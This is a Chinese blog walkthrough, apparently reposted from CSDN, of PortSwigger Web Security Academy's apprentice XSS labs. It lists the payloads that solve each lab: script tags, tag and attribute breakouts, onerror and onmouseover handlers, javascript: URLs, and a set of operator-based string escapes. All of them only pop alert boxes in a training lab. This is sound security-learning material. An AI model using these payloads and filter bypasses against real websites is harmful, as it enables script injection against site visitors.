Postswigger 靶场 XSS 通关

发布时间:2023年12月17日

PostSwigger靶场XSS通关

靶场地址:All labs | Web Security Academy (portswigger.net)

学徒:第一关

<script>alert(/wuhu/)</script>

image-20230826114131596

image-20230826114056603

学徒:第二关

在页面上没有输入框,进入到博客中查看。

在博客的留言版中输入我们的攻击代码

<script>alert(/wuhu/)</script>

image-20230826143357901

点击返回博客

image-20230826143413810

成功弹框

image-20230826143421127

学徒:第三关

输入攻击代码查看页面反应

<script>alert(/wuhu/)</script>

image-20230826144805799

发现我们的攻击代码被传递到了img标签中,这里我们可以尝试将该标签闭合。

构造攻击代码:

"> <script>alert(/wuhu/)</script>

image-20230826144915096

学徒:第四关

输入参数查看页面反应

wuhu

image-20230826150215300

页面没有任何响应,查看网页源代码

image-20230826150101632

发现我们的攻击代码被传入到了一个span标签中,构造攻击代码

<script>alert(/wuhu/)</script>

页面还是没有弹窗,怀疑这里将script标签过滤了

image-20230826150328096

重新构造攻击代码

<img src='#' onerror='alert(/wuhu/)'>
<img src='#' onclick='alert(/wuhu/)'>

image-20230826151451280

学徒:第五关

发现页面中多了一个提交反馈

image-20230826153720896

进入到提交反馈页面

image-20230826153814013

在message中输入构造的攻击代码

<script>alert(/wuhu/)</script>

发现页面没有任何反应,查看页面提示

image-20230826153942439

这里让我们更改href属性。没什么思路,查看一下页面源代码

image-20230826154055443

观察发现,参数returnPath的值会回显到href属性中,底下的script中的代码也验证了。

image-20230826154210528

image-20230826154219533

构造我们的攻击代码

javascript:alert(/wuhu/)

image-20230826154349063

image-20230826154417823

学徒:第六关

学徒:第七关

在输入框输入攻击代码,观察页面反应

<script>alert(/wuhu/)</script>

image-20230826155602724页面将我们输入的攻击代码传递到了input标签的value参数中。

image-20230826155639226

这里我们可以将value参数闭合,然后添加一个响应事件。

构造我们的攻击代码:

" onmouseover = 'alert(/wuhu/)'

image-20230826155440023

学徒:第八关

第八关的提示

image-20230826155951718

提示我们需要提交一个评论,然后在点击评论作者名称的时候调用报警函数。

先提交一个普通的攻击代码查看页面反应。

<script>alert(/wuhu/)</script>

image-20230826160253854

找到了注入点位置,在a标签的href中,那么我们就可以构造攻击代码了,这里采用伪协议的方式,在Website中来构造攻击代码

javascript:alert('http://')

image-20230826160426651

然后点击我们的提交评论的名字即可弹框。

image-20230826160652359

学徒:第九关

输入基础攻击代码,查看页面响应

<script>alert(/wuhu/)</script>

image-20230826165426360

查看页面源代码发现尖括号,反斜杠,单引号,双引号已经被编码了。

那么可以使用中划线/减号,也就是说减号两边的对象也是会先作为js执行,毕竟要先得到两边的值才能进行算数计算。

'-alert(666)-'

因此除了减号,其他数学运算符号和位运算符号也可以,后面绕过XSS的思路就更多了。

'+alert(1)+'
'/alert(1)/'
'%alert(1)%'
'*alert(1)*'
'^alert(1)^'
'>>alert(1)>>'
'<<alert(1)<<'
'<alert(1)<'
'>alert(1)>'
'==alert(1)=='
文章来源:https://blog.csdn.net/weixin_58783105/article/details/134943211
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。